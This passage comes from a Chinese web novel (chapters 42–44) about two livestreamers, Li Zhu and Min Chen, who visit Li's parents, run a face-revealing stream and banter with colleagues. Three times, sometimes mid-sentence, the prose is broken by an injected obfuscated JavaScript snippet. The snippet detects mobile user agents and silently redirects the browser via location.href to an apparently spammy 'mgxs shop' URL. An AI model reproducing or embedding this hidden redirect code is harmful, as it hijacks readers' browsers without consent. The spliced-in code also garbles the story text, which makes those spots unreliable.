一旁被冷落的李竹道:“我也给你买了,你怎么不跟我说话。” 李女士翻了个超级大白眼,“你买的狗屎我一眼都不带看的,用脚想都知道什么颜色,我待会就让人丢了。” 李竹:“……” 闵谌眨巴眨巴眼睛,心道:“原来伯母也知道李竹的审美。” 李女士拉着闵谌进屋,丢李竹一个人在外面,一脸爱进不进的表情。 李女士热情得让闵谌手足无措,又是水果又是问空调合不合适的,又问他饿不饿。 闵谌现在有点不清楚,是他紧张还是李女士紧张,他求助般的眼神看向李竹,李竹抓着瓜子的手一顿,立刻领悟他的意思。 “妈。” 李女士滔滔不绝的嘴一顿,“干嘛?” “我爸什么时候回来?” 李女士撩了一把头发,翻出今天第二个大白眼道:“谁管他什么时候回来,儿子回家还想着上班。” 42. 第 42 章 李竹没能转移李女士的注意力,闵谌被李女士拉着看了李竹许多小时候的照片,从丑丑的只会张牙舞爪的小豆丁到帅气十足的大学生。 小时候的照片比较清晰,李女士指着身穿校服、脸上贴着创可贴、一脸不耐烦地看着镜头的少年:“这是他在国外时拍的,第一次跟外国人动手拍的,帅吧?” 李竹啃着苹果伸着脖子看了眼照片,无语道:“这是什么很光荣的照片吗?” 李女士瞪他一眼:“你懂什么?我儿子第一次打洋鬼子,不值得纪念吗?” 李竹说不过她,只好作罢,并且竖了个大拇指:“值得,超级值得。” “这才对嘛。” 闵谌抿嘴偷笑,被李竹捕捉到,俩人眼神交流一番,至于交流了什么,闵谌没看懂,只知道李竹的眼珠子一直往上飘。 他似懂非懂地眨眨眼,表示明白。 李竹掏出手机看时间,中饭时间到,“妈,咱中午吃啥?” 李女士一拍手,“哎,忘了,还没做饭,要不出去吃?” 李竹啃了两口苹果,丢进垃圾桶,“不了吧,我昨晚排档排到凌晨四点多,今天一大早起来,困成啥样了。” 李女士站起身,拍拍闵谌的肩膀:“花儿啊,你跟李竹俩先聊着,无聊你俩就去电竞房玩电脑,我去做饭。” 闵谌点点头,双腿并在一起规规矩矩的,像个挺老实讲话的乖学生,“好的伯母,麻烦了。” “不麻烦。”李女士笑着说,“还好你来了,要李竹一个人来,我管都不管的,行了你俩年轻人聊吧。” “好。” 家里有做饭阿姨,难得闵谌来,李女士便进厨房展示手艺,让做饭阿姨做别的菜。 两个年轻人并没有在沙发上坐着,而是去了二楼,李竹的房间。 闵谌整个人彻底放松下来,腿都软了,差点跪倒在地,好在李竹眼疾手快捞了一把,这才勉强站好。 李竹笑着调侃道:“这么紧张?” 闵谌不轻不重地在他胸口上捶了一下,“我第一次跟伯母交流,不紧张才怪。” 李竹把人扶到卧室的沙发上坐着,“以后一周回来一次,就不用紧张了。” 闵谌听了立马摇头,把头摇成拨浪鼓:“不行不行,我得慢慢习惯。” 李竹摩挲着下巴,少顷道:“那现在家里住半拉月,等想回去的时候再回去。” 闵谌一脸为难,“不好吧,而且我还没带衣服……” 李竹打了个响指,神秘兮兮道:“下午你就会知道我为什么跟你一样什么也没带。” 闵谌“啊”了声:“为什么?” 李竹伸出一根手指在他面前晃了晃:“现在不告诉你,晚点你就知道了,不急。” 闵谌点了点头,突然眼睛一酸,张嘴打了个哈欠,眼泪也跟着冒了出来。 李竹脱掉上衣扭头找了件新的居家服换上,头转回来的时候愣在原地,愣了足足三秒,他三两步来到闵谌面前,双手捧着对方的脸,大拇指轻轻擦掉滑落下来的眼泪。 他轻声问:“怎么了?怎么还哭上了?” 闵谌吸了吸鼻子摇摇头,想说自己没事,没抵住第二个哈欠。 李竹表情凝固:“……” 闵谌眨眨眼,把眼泪憋回去,“我没哭,就是困了。” 李竹皱着鼻子捏了捏他的脸颊肉,“去我床上睡吧,我洗个澡。” 闵谌点头,大着胆子在李竹嘴上亲了一口,“午安。” 李竹嘴角扬起一抹弧度:“午安,先睡吧,醒了再吃东西。” “好。” 李竹洗完澡出来,头发上的水滴滴答答落在地板上,他拿着吹风机去了另一间客房,避免吹风机声音吵到熟睡的闵谌,即使这个吹风机是静音的。 吹完头发他给自己捏了个造型,又回到自己房间喷了点香水。 口袋里的手机振动了两下。 拿出来一看是陈嘉炽发来的消息。 [秃头哥:过两天给你俩重新签一份合同,这份合同把不露脸删了,你俩被开户属实惨。] [麻瓜:是兄弟就把合同带老宅来。] [秃头哥:不是兄弟。/微笑挥手] [秃头哥:你在老宅?] [麻瓜:我妈说把闵谌带回家住几天,怕闵谌因为这件事有什么影响。] [秃头哥:行,那我明天回来一趟,我妈也想我了。] [麻瓜:神经病。] 电竞房有四台电脑,都是用来直播打游戏的。本来只有两台,直播时方便分屏回消息,前两天李女士强烈要求把闵谌带回家后,他连夜买了两台新电脑,请人上门组装,现在直播设备齐全,连声卡都是最新的。 既然陈嘉炽都这么说了,反正之前那份合同从某种意义上也算是作废,第二份合同已经拟好,就差签字。 大头贴都被爆出来了,露不露脸的对他俩来说也不是那么重要了,干脆今天就搞一场直播露脸。 他弄好后给自己装了个补光灯,才慢悠悠打开直播。 看到开播提醒的粉丝们纷纷进入直播间,涌进来那一刻他们都呆愣一瞬,右上角观看人数反复跳跃。 粉丝们退出直播间又进入直播间。 [我走错了?这是六夜竹直播间?] [我靠,帅哥你谁?] [请把我的2D虚拟皮套爱播还给我,谢谢。] [不好意思,主播我问一下,我的爱播去哪了?] [蛙趣,帅哥,斯哈斯哈,叫什么名字(邪魅一笑)有兴趣来一场紧张刺激的pk吗?(嘴里叼鲜花)] 李竹笑出声:“紧张刺激的PK可以有,但是我先还首歌。” 熟悉的声音一响,直播炸了。 [我靠!] [太帅了,请换回虚拟皮套。] [抱歉,我收回口水。] [请把六夜竹电子皮套放出来,谢谢。] [注意注意!这不是别人!这是六夜竹本人!] [三百万交了么就露脸直播。] 李竹撑着下巴读着弹幕:“三百万还交什么,我证件照都被爆出来了,交个屁呢,机会难得,真人直播且看且珍惜。” [今天准备了什么节目?] [我一直在截图。] [二创姐那边已经更新视频了,我去看看。] “不是,本人直播不看,看二创?你们什么意思?” [嘘,闭嘴吧,我的哑巴老公。] [之后花儿也真人直播吗?] “不确定,但是现在他在睡觉,等他醒了再说。” [几点了还睡。] [掀被子叫起床,给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483953|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兄弟们看看。] “不,我俩刚回家,起太早了,让他睡会。” [行,让他睡吧。] [你俩打算更新蓝海视频吗?想看合照。] “有这个打算。” “儿子。”李女士声音从门口传来。 他向直播间粉丝道:“我妈找我。” 说完起身去开门。 李女士端着一盘水果站在门口,伸着脖子往里看,没看到闵谌身影,问道:“花花呢?” 李竹:“他在睡觉。” 李女士责怪道:“年轻人少熬夜,水果就不给你了,想吃自己去切。” 李竹去接果盘的手停在半空,“李女士,做人不可以喜新厌旧。” “少管我。” 李女士“砰”地把门关上,踩着拖鞋哒哒哒下楼了。 李竹无奈地回到直播镜头前,戴上耳机清了清嗓子:“你们什么也没听到。” 弹幕: [我们都听到了!] [听见了吗?想吃水果自己去切。] [果然是亲生的,连说话方式都一样。] 李竹看着弹幕气笑了,“不是亲生的难道还是捡来的吗?我出生那年发洪水,我就是被洪水冲来的行了吧。” [行行行,你说什么是什么。] [这句话小时候我妈对我说过。] [父母话术都一样,我妈小时候也老这么说我。] [我不一样,我妈说我是垃圾堆里捡的,垃圾堆才是我亲妈。] 李竹竖了个大拇指。 [M.直直邀请你进入pk连线。同意or拒绝] 李竹点下同意。 刚进去,直直“额”了声,虚拟皮套眼珠子转来转去,“兄弟你长得像我一个兄弟……那个……不好意思兄弟拉错了,我先走了。” 话音未落,屏幕上弹出横幅。 [M.直直已退出pk连线。] [M.直直邀请你进入pk连线。同意or拒绝] 李竹再次点下同意。 他一言不发地盯着直直,想看看对方又要说什么。 “诶?蓝海出问题了吗?我拉的竹啊。”直直又道:“不好意思哥们,我又拉错了。” [M.直直已退出pk连线。] 弹幕: [笑死了。] [梅开二度。] [直直好呆萌。] [笑的我肚子疼,六夜竹做人不要这么坏。] [你这行为叫,我就看着我兄弟道歉。] 李竹耸耸肩,自恋道:“可能是我长太帅了,他没认出来吧,魅力没办法的事儿。” [嘴脸。] [你嘴虽然不怎么样,但是人帅。] [六夜竹能不能不要张嘴说话。] [你一开口我就想笑。] 屏幕再次弹出pk连线邀请。 李竹把邀请横幅截出来放到直播间内给粉丝们看,“你看,又来了。” 他再次点下同意。 头顶提示连线成功后没等直直说话,他率先一步道:“艾慕点直直,你没完了是吧,拉完我又退。” 直直惊讶道:“我靠?我说怎么这么眼熟,你露脸直播了啊?” “嗯哼,证件照都爆出来了,还遮掩屁呢。”李竹道。 43. 第 43 章 两人大大方方在直播间聊合同,聊李竹新合同,三百万不用交,直接给他签新合同。 本来没有新合同这一说,为了防止以后再有这样的事情发生,陈嘉炽还是准备了露脸合同。 公司现在一共有两版合同,露脸版和不露脸版。 直直摇摇头道:“我不行,不是说样貌怎么样什么的,是我不希望有人打扰我三次元的生活,活跃在二次元就行了。” 李竹表示理解,“明白,三次元跟二次元要分开的,我是无所谓,就算打扰,也打扰不到哪去。” 顿了顿他想到什么笑了下,“如果,我说如果啊,有个人躲在我床底下,我一定会拉那人出来跟我唠嗑。” 直直瞳孔剧震:“这么勇的吗?” 李竹眉尾扬起,“当然,不过是教育式唠嗑。” 直直表情还没来得及换,看到有人拉他连线pk,手一抖就点下了同意。 一个pk连线局里都是他们名门的人,突然看到一个真人直播的还有些不适应,连名字都没看有人就问:“这位老师是……?” 直直一拍手,“看吧,不止我认不出来,大家都认不出来。” 李竹发出疑问:“难道我直播时跟真人长得不像?” 一听到他声音,所有人立即反应过来,七嘴八舌地哇啦哇啦讲,讲的什么他没听懂,但他也没沉默,没听懂就乱说,总要发出点声音。 然后直播间就听李竹在背诵英文字母。 “ABCDEFGHIJKLMNOPQRST……” [你在说什么玩意?] [麻烦背诵朱自清的《春》,全文背诵。] [我笑死了,少爷听不清人说什么就开始背。] [少爷只是一味地背诵26个英文字母。] 背到最后李竹看到弹幕,或许打开浏览器找到朱自清的《春》,行动力超强,开始朗诵: “盼望着,盼望着,东风来了,春天的脚步近了。 一切都像刚睡醒的样子,欣欣然张开了眼。山朗润起来了,水涨起来了,太阳的脸红起来了。 小草偷偷地从土里钻出来,嫩嫩的,绿绿的。园子里,田野里,瞧去,一大片一大片满是的。坐着,躺着,打两个滚,踢几脚球,赛几趟跑,捉几回迷藏。风轻悄悄的,草软绵绵的。” 众人顿时安静,李竹还在读,突然看到一条官方提醒。 [该直播间违规朗诵。] 李竹补充道:“引用自朱自清的散文《春》,官方不要提示我了。” 话落,本来只有他个人的声音,大家笑成一团。 西瓜皮笑够了道:“紧张刺激的pk玩不玩?” 李竹:“怎么玩?” “六个人,123抓456呗。” “行啊。” pk时间开了个十分钟的,李竹迅速进行拉票一条龙,闭掉其他人的麦和听筒,“兄弟们,看看首翻,有啥丢啥,最后是蓝海,庄园也行,谢谢兄弟们。” 老粉走熟悉的流程,新粉不懂但是照做,边刷礼物边发弹幕。 [不懂就问,少爷为什么叫我们兄弟。] [因为我们是互联网好哥们。/大拇指] [新粉还不知道吧,她直播间女粉男粉都叫兄弟。] [因为他脸皮薄,不敢叫我们姐姐。/害羞] [新来的宝宝们刷刷二创就了解了。] [你们懂像那种家里养的猫吗?有需要了来哄哄你,没需要就不理你,甚至对你来一句,大兄弟拉票站榜了。] [哈哈哈哈哈哈哈哈哈,好形象的形容。] [习惯就好。] 李竹目前票数位列第一,背景音乐十分具有战斗力,听了能上房揭瓦的律动感。 他猝然关掉背景音乐,在其他五人中精准开麦。 他点开了假人的听筒和麦克风。 炸裂的英文歌充斥耳麦,假人努力拉票。 “家姐们,宝宝们,哥哥们,看看假人,咱们拿个前三就行,现在在第四,打败西瓜皮我们就能占据前三。”说着,假人换了一首更强劲、更有压迫感的背景音乐,“来!1.5倍,还有五秒,我数三个数,三!二!一!冲啊!姐姐宝宝哥哥们!让小假拿下第三名!” 李竹眼里满是不可置信,“兄弟们,假人一直给我一种淡淡的感觉,只有情绪激动的时候才会大声说话,前段时间听说假人语言能力精进了,我以为是在某个专业领域,没想到是拉票方面,我从没见过这样的假人。” 弹幕: [画风突变。] [这个麦开得很精准,笑死我了。] [哈哈哈哈哈哈哈哈哈哈哈。] 弹幕一堆“哈哈哈”飘过,不过很快被其他弹幕给覆盖了。 [还看,没看见噗噗冲你来的吗?] [赶紧拉票!] [别看了!你跟噗噗相差500分!] [家姐们丢丢礼物,守塔守塔!] [最后三分钟pk时间,你还看,被超过了吧!] 李竹拉票拉到一半去开同事的麦,听人家拉票,没想到被超了,目前排名第三名,噗噗、西瓜皮、假人三人位列前三,李竹排名第五。 忙着看同事搞节目,自己错过了最后一波的礼物加成,想再超过假人还需要两个“蓝海”礼物,不过已经来不及了,pk时间恰好结束。 李竹自知理亏,磕磕巴巴地跟直播间粉丝表示歉意:“那什么,哎哟,我不是故意不拉票的,就是听说假人最近火力很猛,想看看来着,太好笑给忘了,骚瑞啦~感谢各位兄弟老铁姊妹们的占榜支持,酸扣酸扣。” 弹幕: [六夜竹,你今晚做好睁着眼睛睡觉。] [我的网线可不是白装的,你等着吧!] [等着二创吧,看我们怎么蛐蛐你。] [我已经录好屏了,你下播我就剪!] [忙着看同事,自己家火烧屁股也不管。] [你欠我一个第一名,六夜竹。] 李竹安慰粉丝:“欠欠欠,我亏欠我家各位兄弟们,下次补偿。” [我要一张腹肌照。] [我要你和花儿的合照。] [我要你们的结婚照。] [我要一张你的结婚请帖。] “行行行,答应答应,先不和你们唠了,我麦开领奖励。” 一打开麦就听噗噗一句很大声的感叹:“爽!第一次凭借实力打败六夜竹成为第一。” 假人:“第一的位置该易主了,六夜竹。” 西瓜皮:“六夜竹,十分钟你打那些积分,没资格说话。” 李竹喝了口水,坐直身体,靠近麦克风说:“我记得咱们打的是123抓456吧,你们仨怎么还一起针对我了?” “哈哈哈哈哈哈哈哈哈哈哈哈哈!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483954|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>噗噗佯装抱歉,嘴角早已咧到耳后根去了,他道:“骚瑞,第一次堂堂正正地把你从第一踹下去有点激动,没管住嘴,亏欠亏欠。” 李竹道:“复仇,惩罚完,你们仨一个都别想跑。” 西瓜皮欠兮兮道:“哎呀,接了接了。” 李竹气笑了,“罚吧,选个人罚我。” 噗噗肯定不会放过打压李竹的机会,抢先其他两人道:“打个电话给陈总,问他为什么不让你当总裁。” “行。” 李竹拿过一旁的手机,找到陈嘉炽的微信,拨了个语音通话过去,等了几秒才接。 陈嘉炽十分警惕的声音传来:“又干鸡毛?” 李竹:“为什么不让我当总裁?” “啥玩意儿?”陈嘉炽声音都拔高了几度。 “我说为什么不让我当总裁。” “你抽风了啊?” “没有。” “那你问的什么智障问题?” “快点回答我。” 陈嘉炽那边静了一瞬,好似在翻找当初记忆,半晌道:“不是你说当总裁太累了,给你个代理就行么?你踏马权限都有,在这质疑啥呢?要不你坐我头上取代当董事得了呗。” 李竹摇头,“那不行,我不想要你这个儿子。” 陈嘉炽:“……” 一秒两秒。 电话“啪叽”给挂断。 李竹摊手:“你们看,陈嘉炽对好兄弟就这嘴脸。” 假人没想出什么招,“那就罚直直也给陈总打个电话,问他为什么六夜竹能当代理总裁,为什么你不能。” 直直他们皮归皮,对待老板还是有一定的害怕心理,说:“这样我会被骂得很惨吧?” 李竹伸出一根手指在镜头前晃了晃:“不一定,他骂我是因为我比较那什么,骂你应该会很心平气和的骂。” 直直一个电话拨过去,陈嘉炽秒接。 李竹道:“区别对待。” 噗噗道:“因为你没正事儿。” 直直道:“喂老板。” 陈嘉炽:“什么事儿?” “为什么六夜竹能当代理总裁,我不能?” 电话那头的陈嘉炽卡了一瞬,“你被夺舍了?” 直直差点笑出声:“没有啊,你先告诉我为什么。” 陈嘉炽一声轻响,像是碗筷被放下的动静,“要不你把我踹下去?我直接让你坐老板你看行不行?” 直直:“不行,你先告诉我为什么我不能。” 陈嘉炽叹了口气:“我今天好不容易休息半天,别折磨我了行么?” “为什么?” 陈嘉炽:“……” “因为六夜竹是傻逼,这个回答满意吗?” 直直没绷住“噗”地一声笑出鹅叫,“鹅鹅鹅鹅鹅——满意满意,感谢老板的耐心回答!” 陈嘉炽骂道:“滚吧,再烦我,把你放女厅去。” 直直大喊:“别!我是你互联网最忠诚的电子心腹!” 陈嘉炽怒吼一声: “滚!” 直播间弹幕: [我笑死了,两人接二连三折磨陈总。] [电子心腹,怕是少了''大患''两个字吧。] [哥几个凑在一起节目堪比过年小品。] [这波贪了,应该留着过年看的。] [二创姐姐展示神力的时候到了!] 44. 第 44 章 李竹直播播了快四个小时。 他眼睛时不时盯着关播时间看,播到四个小时就下播。 他这边刚结束跟兄弟们的直播pk连线,心血来潮打算看看二创,点评一下自家二创组的实力。 刚打开一个二创视频,是周年庆他被卡在通风口的直播。 鼠标在视频上圈了个大圆圈,“不是,这个二创能不能删掉?我面子很重要,钱可以丢,衣服和老婆还有面子不能丢,二创组能懂我吗?” 弹幕: [不懂,我当时笑得把饭喷出来了,我没面子,你别想要面子。] [谁懂,我当时看到这一幕的时候差点笑撅过去。] [有一说一哈,六夜竹腿还挺长。] [想问问伤口好了没。] 李竹道:“早好了,就是创可贴没用完。” [花儿买一盒以防万一你再次受伤。] [我想采访你,你是以什么样的想法钻进这个通风口的呢?] “哦,因为我想赢。” [/大拇指/大拇指/大拇指] [你这么大只人怎么钻进去的?] “里面没有很窄,能躺下一个我,就是口有点小,我出来的时候脑子一抽,先伸一只脚,我应该伸两只脚出来的。” [这是在复盘?] [别复盘了,我想看你钻垃圾桶。] [我也想看,陈总为了找你,每一个垃圾桶都没放过。] 李竹嫌弃好兄弟:“怎么会有这么恶心的人。” 李竹刷二创视频声音开得很大,他听音乐喜欢开很大的声音,觉得很享受,耳边什么都没有,只有音乐,沉浸在音乐和视频的快乐中。 以至于闵谌睡眼惺忪地打开门,走进来站在他身后揉着眼睛,他都没发现。 闵谌穿着蓝色格子衬衫,里面是白色打底衫,下身是一条上浅下深的牛仔裤,头发因为睡觉翘起一小撮呆毛。 弹幕: [我靠!] [神仙颜值来的!] [这小两口互相都吃这么好么?] [我之前见过花儿,一直觉得他眼睛很漂亮,人应该长得很帅,没想到这么帅。] [六夜竹你适合好的,但不适合这么好的,把他让给我好吗?微笑/] 李竹看不懂直播间的弹幕,闵谌还在睡觉根本没开直播,难道闵谌的信息又被人“开盒”了? 想着他关掉蓝海视频app,打开自己的直播间,看见闵谌就站在身后,脸颊边还有因为睡觉压出来的痕迹。 他扭头,摘下耳机站起来,一手拉着闵谌一手去勾旁边的电竞椅,将人和椅子一起拉到身边来。 他把闵谌按坐在椅子上才坐下,把耳机分了一只给闵谌戴好,轻声道:“怎么醒了,不再睡会?” 闵谌乖巧地摇摇头,黏黏糊糊道:“再睡下去骨头要退化了,我现在感觉整个人软绵绵的,一点力气也没有。” “饿不饿?” “有点。” “那我现在下播去热饭,我也没吃,咱妈出去跟小姐妹做保养去了。”李竹摘掉耳机,站起身,“她还给你弄了果盘,整理个水果沙拉给你吃。” 弹幕: [这俩人是没意识到直播还开这么?] [一个没睡醒,一个担心老婆。] [咱妈~哎哟我,这俩人是在爸妈家住着呢吧?] [肯定是,我记得之前爆过,他们在公司公寓住着,听聊天应该是在六夜竹家。] 弹幕还在自己聊自己的,李竹连看弹幕的机会都不给,直接下播,拉着闵谌下楼热饭菜。 两人吃完饭在沙发上躺着看电视消食,电视里正播放着李女士反复看了不下十来遍的电视剧。 《甄嬛传》 这个电视剧两人都看不懂,想出去散步,太阳又很大,别说出去了,在家里太阳从窗台洒进来落在地面上,形成另一道肉眼可见却摸不着的光影。 太阳还在照着他俩,就已经觉得浑身懒洋洋的,一点也不想动。 李竹眼睛往闵谌那边瞥了一下。 闵谌摊着姿势特别放松,眼睛微眯,要睡不睡的样子,这种状态一般出现在闵谌放松的时候。 可见闵谌已经放松了很多,没刚来那会那么拘谨,但也可能是因为家里只有他俩。 玄关传来输入密码的声音,闵谌瞬间进入紧张状态,眼睛直视前方,背脊挺直,完全没了刚刚那状态。 李竹看得一愣一愣的。 “老婆。” 一道比李竹还要沉稳的声音从玄关传进来。 李竹安抚地拍了拍他的背,小声道:“我爸,别怕。” 闵谌点头,“不怕。” 嘴上说不怕,其实心里已经紧张得要死。 男人手拿一束花换好鞋走进来,闵谌余光瞥见后不由自主转头看向男人,李竹跟男人长得很像,特别是眉眼,都是单眼皮给人透着拒人千里之外的压迫感。 不过李竹常常因为太沙雕,气质比眼前这个男人温和点。 “爸。”李竹喊了声。 “叔叔好。”闵谌也跟着喊了声。 李策航本来嘴角上扬一个像素点,看到李竹瞬间降至平线,再看到闵谌后又扬起了两个像素点,“你好,你伯母呢?” 完全无视李竹。 闵谌“啊”了声,想起李竹说的李女士跟小姐妹做保养去了,“伯母出去逛街去了。” 李策航点点头:“好,我去楼上换件衣服。” 闵谌点点头。 李策航抱着花上三楼去了。 李竹脸上保持着僵硬的微笑转头问闵谌:“我在家的家庭地位怎么变得如此之低?” 闵谌:“……” “没有很低吧……” 李竹点点头,想想也是,有时候他爸的家庭地位那叫一个低呢,一想到有时候家庭地位比他爸好点心里就舒坦了不少。 他揽过闵谌,“要不要再眯一会?感觉你没睡醒呢。” 闵谌顺从地靠着,“不想睡了。” “好,那不睡了。” 李策航换衣服换了十来分钟,下楼时李女士已经逛街回来了,茶几上还放着大包小包的东西,李竹被挤到另一张单人沙发上坐着,李女士一手拉着闵谌一手拿着东西介绍着。 “这是我逛商场买的,感觉适合你就买了,来,戴上试试看。” 李女士买了一条手镯,不知多少克黄金,整体由金子打造,上面挂着一朵小花吊坠,整体偏哑光颗粒感,手感不错,戴上去能感受到重量。 刚戴上去闵谌就脱了下来还给李女士,脑袋摇得跟拨浪鼓似的:“不行,伯母,这个太贵重了,我不能要。” 李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483955|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女士握着他的手拍了拍,“哪贵重了,我今天送这个,明天指不定送金子呢,你不收我明天就送一小盒金豆。” 闻言闵谌嘴巴不受控制地张大,他看向李竹,李竹递给他一个眼神,让他收下,毕竟李女士说送金豆,那可不是开玩笑的。 闵谌只能不好意思地又把金镯子戴回手上,接着李女士又拿出几件衣服在他身上比划,“合适,我发现花花穿什么衣服都合适。” 被冷落在一旁的李竹跟着附和:“我也觉得。” “是吧,改日我再多买几身衣服。” 闵谌小脸涨得通红,想拒绝又不好意思开口,只能收下这堆从天而降的富贵,现在终于懂了李竹的那句话。 根本就不用带衣服,李女士会买。 一时间闵谌感觉缺失了十来年的父母关爱被李女士填满了,李女士真的把他当儿子看待。 就像李伯父在微博说的那样,无非就是家里多了个女儿儿子。 想到这闵谌忽然觉得视线一片模糊,他慌忙低下头,假装整理自己的衣服,手指在小花挂件上弹来弹去。 李竹道:“妈,晚上我们出去吃呗,你跟爸收拾收拾,再把干妈和陈嘉炽也一起叫上,我们聚一聚。” 李女士想了想,觉得这个想法不错,起身时拍了拍闵谌肩膀:“花花,伯母去收拾一下,晚上跟你干妈他们一块吃饭。” 说着去拉住站在楼梯口的李策航,把人扯上楼,“走,陪我去换衣服。” 李策航低头看着自己新换的居家服:“我刚换的。” 李女士嫌弃道:“穿的什么丑东西,重新换一套。” 李女士跟李策航边拌嘴边上楼。 李竹一屁股坐在闵谌身边,伸手替他擦掉眼泪,小心翼翼道:“掉小珍珠啦?” 闵谌吸吸鼻子,胡乱在脸上抹了一把,“才没有。” “哎哟没有没有。”李竹哄道:“我们家花花就是想爸爸妈妈了,才不是掉小珍珠。” 闵谌靠在李竹身上,眼睛压在他肩膀上,肩膀处瞬间湿了一大片,“伯母为什么对我这么好。” 李竹一下一下地拍着闵谌后背,“因为你值得,你很好,所以大家都很喜欢你。” “可是,我有时候很坏。” “那只是有时候,人哪有十全十美的。” 闵谌闷闷地“嗯”了声。 李竹的心柔软一片,闵谌很少在他面前掉眼泪,除了某些时候,他能看穿闵谌所有小动作,所有掩饰,就是看不穿闵谌心里到底是怎样的。 总是报喜不报忧,逼急了才会开口。 这种状态不知道要持续到什么时候。 他希望闵谌对他彻底敞开心扉,而不是让他去猜。 他想要闵谌委屈了要说,难受了要说,需要帮助要说,不是一个人闷闷的缩回自己打造好的安全屋里默默消化一切,等再次出来的时候满身伤痕地告诉他。 “没事,我自己一个人就很棒。” 这样,身为闵谌的伴侣,他一无是处。 李竹在他脸上轻轻落下一个吻:“闵谌,以后有什么要和我说,不会嫌你烦的。” “真的吗?” “真的。” “好。” “我想再给你遮风挡雨。” “好,那你别撕烂我的伞。” 李竹:“……”